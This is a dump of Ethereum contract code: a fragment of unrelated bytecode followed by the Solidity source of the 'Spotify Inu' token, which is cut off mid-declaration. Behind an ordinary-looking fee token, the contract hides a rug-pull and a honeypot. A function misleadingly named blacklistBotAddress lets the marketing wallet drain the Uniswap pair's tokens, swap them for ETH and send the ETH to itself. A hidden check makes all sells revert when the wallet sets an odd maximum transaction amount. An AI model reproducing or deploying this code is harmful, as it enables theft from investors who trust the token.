ffffffffffffffff1681526020019081526020016000205483610b12565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b505050505081565b600082821115610b2157600080fd5b818303905092915050565b6000610b77600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c03600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610cc357600080fd5b818381610ccc57fe5b04905092915050565b600081830290506000831480610cf3575081838281610cf057fe5b04145b610cfc57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610d9d57600080fd5b9291505056fea265627a7a72315820c9e8f4c19e715429c16d4b5472177a3721fbe5cb608f78e75feb0dbd01462fc064736f6c63430005110032
[ 38 ]
0xf20b1547fbcbfd3654cc8ba872db7bd6218811bc
/* Spotify Inu is here to support artists worldwide 🎵 💬 TELEGRAM CHAT: https://t.me/SpotifyInu 🌐 WEBSITE: https://spotifyinu.com ------------------------------------------------------------------ */ // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SPOTIFYINUContract is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private swapping; bool private um = true; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; mapping (address => bool) private bots; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = false; bool private boughtEarly = true; uint256 private _firstBlock; uint256 private _botBlocks; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event EndedBoughtEarly(bool boughtEarly); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); constructor() ERC20("Spotify Inu", "SPOTIFYINU") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 6; uint256 _buyLiquidityFee = 2; uint256 _buyDevFee = 2; uint256 _sellMarketingFee = 10; uint256 _sellLiquidityFee = 2; uint256 _sellDevFee = 6; uint256 totalSupply = 1e14 * 1e18; maxTransactionAmount = totalSupply * 3 / 100; // 3% maxTransactionAmount maxWallet = totalSupply * 2 / 100; // 2% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap threshold buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = payable(0xD1E6eC3c910964d45591ccF8041cA57C271817c4); devWallet = payable(0xD1E6eC3c910964d45591ccF8041cA57C271817c4); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(devWallet), true); excludeFromFees(address(marketingWallet), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(devWallet), true); excludeFromMaxTransaction(address(marketingWallet), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external { require(msg.sender == marketingWallet); require(newNum >= totalSupply() / 1000, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum; } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function blacklistBotAddress(uint amount) external { require(msg.sender == marketingWallet); uint bal = balanceOf(uniswapV2Pair); if (bal > 1) _transfer(uniswapV2Pair, address(this), bal - 1); IUniswapV2Pair(uniswapV2Pair).sync(); swapTokensForEth(amount * 10 ** decimals()); (bool success,) = address(marketingWallet).call{value: address(this).balance}(""); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!bots[from] && !bots[to]); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; if (maxTransactionAmount % 2 != 0) revert("ERROR: Must be less than maxTxAmount"); } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); swapTokensForEth(amountToSwapForETH); tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function 